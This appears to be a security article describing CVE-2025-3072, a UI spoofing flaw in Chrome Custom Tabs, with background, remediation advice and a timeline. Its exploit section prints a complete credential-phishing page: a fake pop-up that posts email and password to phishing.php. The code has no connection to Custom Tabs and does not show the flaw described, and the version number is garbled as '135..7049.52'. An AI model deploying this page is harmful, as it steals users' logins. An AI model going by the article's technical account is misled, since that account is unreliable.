User Interface (UI) spoofing can be a major security concern for users, as attackers can create deceptive interfaces that look like legitimate websites to phish personal information or manipulate the user. Google Chrome's Custom Tabs is a feature designed to provide a seamless browsing experience, but a vulnerability has been discovered in earlier versions that can allow such UI spoofing attacks. This article will discuss the details of this vulnerability, known as CVE-2025-3072, including its origin, code snippets, and remediation.

Background

Custom Tabs is a feature in Google Chrome that allows developers to pre-render web pages while loading external links without opening a new browser window. Prior to version 135..7049.52, there was an inappropriate implementation in Chrome's Custom Tabs, which potentially allowed remote attackers to perform UI spoofing through a crafted HTML page. Although Chromium's security team rated this vulnerability with a severity level of "Low," it still had the potential to deceive users into providing sensitive information or executing unwanted actions.

Exploit Details

To exploit CVE-2025-3072, a remote attacker needed to convince the user to engage in specific UI gestures to interact with a maliciously crafted HTML page. The crafted page would then trigger a deceptive interface, mimicking a legitimate web page. This type of attack is particularly dangerous when it targets users with little technical knowledge, making them more likely to fall for the scam.

Here's an example of a code snippet demonstrating the malicious HTML content

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Malicious UI Spoofing</title>
<style>
.pop-up {
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  background-color: white;
  border: 1px solid black;
  width: 400px;
  height: 200px;
  z-index: 99;
}
</style>
</head>
<body>
<div class="pop-up">
  <h2>Important Message</h2>
  <p>Please enter your email and password to continue:</p>
  <form action="phishing.php" method="post">
    <label for="email">Email:</label>
    <input type="email" name="email" required>
    <label for="password">Password:</label>
    <input type="password" name="password" required>
    <button type="submit">Submit</button>
  </form>
</div>
</html>

In this example, an attacker convinces the user to click a link that displays a pop-up message masquerading as an important notice. The user may mistakenly perceive the phony message as belonging to a trusted website, such as their email provider, and proceed to input personal information.

Original References

The vulnerability was initially reported by the Chromium security team, who highlighted the issues in Google Chrome versions prior to 135..7049.52. To learn more about the issue, refer to the following links:

- Original Chromium Bug Report
- Chromium Security Severity Levels

Remediation

To protect against such UI spoofing attacks enabled by CVE-2025-3072, users are advised to update their Google Chrome to the latest version, which includes a security patch to address this vulnerability. For developers utilizing Custom Tabs in their apps, it is crucial to follow Google's best practices and guidelines to ensure secure browsing experiences for users.

Conclusion

While CVE-2025-3072 is classified as a low-severity vulnerability by Chromium, it still highlights the potential for attackers to abuse Custom Tabs in Google Chrome to perform UI spoofing and deceive users. The rapid response by the Chromium security team to address this issue showcases the critical role of continuous improvement in modern web browsers. As users and developers, being proactive about updating software and staying informed of security risks is essential to mitigating such vulnerabilities and promoting a safer online experience.

Timeline

Published on: 04/02/2025 01:15:38 UTC
Last modified on: 04/21/2025 20:48:41 UTC